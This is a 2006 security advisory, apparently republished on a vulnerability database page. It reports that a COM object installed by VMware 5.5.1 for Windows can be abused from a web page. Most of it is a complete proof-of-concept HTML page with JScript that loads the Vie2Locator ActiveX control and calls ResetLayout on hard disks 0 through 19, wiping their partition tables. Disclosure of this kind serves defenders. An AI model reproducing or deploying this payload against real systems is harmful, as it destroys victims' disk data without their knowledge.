VMware 5.5.1 - COM Object Arbitrary Partition Table Delete

🗓️ 16 Aug 2006 00:00:00Reported by nopType

VMware 5.5.1 can delete all hard disk partitions due to COM object vulnerabilities in Windows.

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[XSec-06-05]: VMware 5.5.1 for Windows arbitrary partition table delete issue.

Advisory ID:
XSec-06-05

Advisory Name:    
VMware 5.5.1 for Windows arbitrary partition table delete issue.

Release Date:      
08/16/2006

Tested on:        
VMware 5.5.1 build-19175 on Windows Server 2000/2003

Affected version:  
VMware 5.5.1

Author:
nop <nop#xsec.org>
http://www.xsec.org

Overview:
 On running windows system, you can't delete, format and change system dirver. \
VMware register a COM Object use for Virtual Disk, but it's very danger. \
I don't know how to name this issue. If you allow unsafe ActiveX and jscript, \
and has VMware installed, the vmware.htm will delete all harddisk partition \
table on the windows system. please backup your partition table first.

Exploit:

=============== vmware.htm start ================


// VMware 5.5.1 for Windows arbitrary partition table delete issue.
// Tested on Windows Server 2000/2003
//
// nop nop#xsec.org
// http://www.xsec.org
//

// CLSID: {0F748FDE-0597-443C-8596-71854C5EA20A}
// Info: Vie2Locator Class
// ProgID: VieLib2.Vie2Locator.1
// InprocServer32: C:\Program Files\Common Files\VMware\VMware Virtual Image Editing\vielib.dll

-->

<html><body>
<object classid="clsid:{0F748FDE-0597-443C-8596-71854C5EA20A}" id="vmware"> </object>
<script>

var disk = 0;                              // HardDisk No

while (disk < 20)
{
    var x = vmware.ConnectDisk(disk);  // Connect to HardDisk
    x.ResetLayout();                   // Will clean all partition table on your Harddisk
       disk += 1;
}
</script>
</body></html>

# milw0rm.com [2006-08-16]

16 Aug 2006 00:00Current

7.4High risk

Vulners AI Score7.4